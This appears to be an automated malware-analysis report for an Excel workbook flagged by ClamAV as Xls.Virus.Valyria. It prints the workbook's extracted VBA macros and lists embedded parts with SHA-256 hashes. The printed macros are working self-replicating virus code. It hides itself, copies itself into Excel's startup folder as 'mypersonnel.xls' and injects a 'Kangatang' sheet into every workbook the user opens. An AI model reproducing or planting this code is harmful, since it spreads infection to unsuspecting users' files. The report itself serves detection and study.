    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "Kangatang_13"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "Kangatang_14"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "Kangatang_15"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "Kangatang_16"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "Kangatang_17"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "Kangatang_18"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "Kangatang_19"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
…
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 194048 bytes
SHA-256: e73e0202ea4ea6f21727c8b2a51efdec3097905028ceb4d8bb00bda45904f934
Detection
ClamAV: Xls.Virus.Valyria-10004391-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image14.emf 2504 bytes
SHA-256: da688bdccb2ac3e0c3d6521b78786dafb68c3ceb1bb0dd1c4cdf514a14072426
emf_01.emf ooxml-emf OOXML EMF part: xl/media/image13.emf 2504 bytes
SHA-256: ea0d5102539b103713c9293207d551d17b5b2b45c5b1a0169b16823785b5e60a
emf_02.emf ooxml-emf OOXML EMF part: xl/media/image12.emf 2504 bytes
SHA-256: 6a0161e5d107055cb922d7e859d9adde8707381ef810135eb928a5a4f07108d3
emf_03.emf ooxml-emf OOXML EMF part: xl/media/image11.emf 2504 bytes
SHA-256: 4edf2501ee529daba035030e861872177fc9cec2ac9b272846d982321d4cd875
emf_04.emf ooxml-emf OOXML EMF part: xl/media/image10.emf 2504 bytes
SHA-256: 852ac9b6f04716471dba325fad1ea4fb15175213253eb2db8e7978b24427f1d1
emf_05.emf ooxml-emf OOXML EMF part: xl/media/image15.emf 2520 bytes
SHA-256: 5ca1984bac6da214b03dde81d886c9adf05cfabc3cb7437f24359fca2b32d6e4
emf_06.emf ooxml-emf OOXML EMF part: xl/media/image16.emf 2516 bytes
SHA-256: 9feace7f6001652617fc35f3412721b0c45b80e27e231c78bc77c014215c8f61
emf_07.emf ooxml-emf OOXML EMF part: xl/media/image17.emf 2516 bytes
SHA-256: 9bc3b0ba3b6e94965c7fc72cd8c66f38251c00130a75df50a39f34247ca804df
emf_08.emf ooxml-emf OOXML EMF part: xl/media/image20.emf 2516 bytes
SHA-256: da461b236d0c6a9681d621a6d83ee67d6f15d74e95f9adbe8f5033c8bf92eeba
emf_09.emf ooxml-emf OOXML EMF part: xl/media/image19.emf 2516 bytes
SHA-256: 89088d90eae1ff8495b18323e3ed65d369d615b338a91a96847fb7f7fbaa879b
emf_10.emf ooxml-emf OOXML EMF part: xl/media/image18.emf 2520 bytes
SHA-256: 4ef20c579f099510e9b5c02851ceb775cffefefee694e9d8a2ec1fb7112ac788
emf_11.emf ooxml-emf OOXML EMF part: xl/media/image9.emf 2504 bytes
SHA-256: 4733909afd36963f32f840e74bfb1cc79bc8be16419b38b367a83e15fc4cd9e0
emf_12.emf ooxml-emf OOXML EMF part: xl/media/image8.emf 2504 bytes
SHA-256: 418eb503dd0131c5d90afd12a578d933d6e389fa079d30e01c506548548cea5c
emf_13.emf ooxml-emf OOXML EMF part: xl/media/image6.emf 2504 bytes
SHA-256: a9a4eea53259839bd6e6e8d2045dc4ecbac744d40716555f0117170b779bda9a
emf_14.emf ooxml-emf OOXML EMF part: xl/media/image5.emf 2504 bytes
SHA-256: 3443f10f8a217b9ea36eecf9801303c8338a7dca214c6e62fb2b2081abe6932c
emf_15.emf ooxml-emf OOXML EMF part: xl/media/image4.emf 2504 bytes
SHA-256: 99c2a382a7f2086d7b627ac5297593ddb758205fada367c2ed28529f1c6e73ff
emf_16.emf ooxml-emf OOXML EMF part: xl/media/image7.emf 2504 bytes
SHA-256: 7a908f5bbb03e5bb9c043185c1f5c9e3a570f24b18f1b0e516560a534cbb17ea

Open this report in the interactive analyzer, or submit your own file for analysis.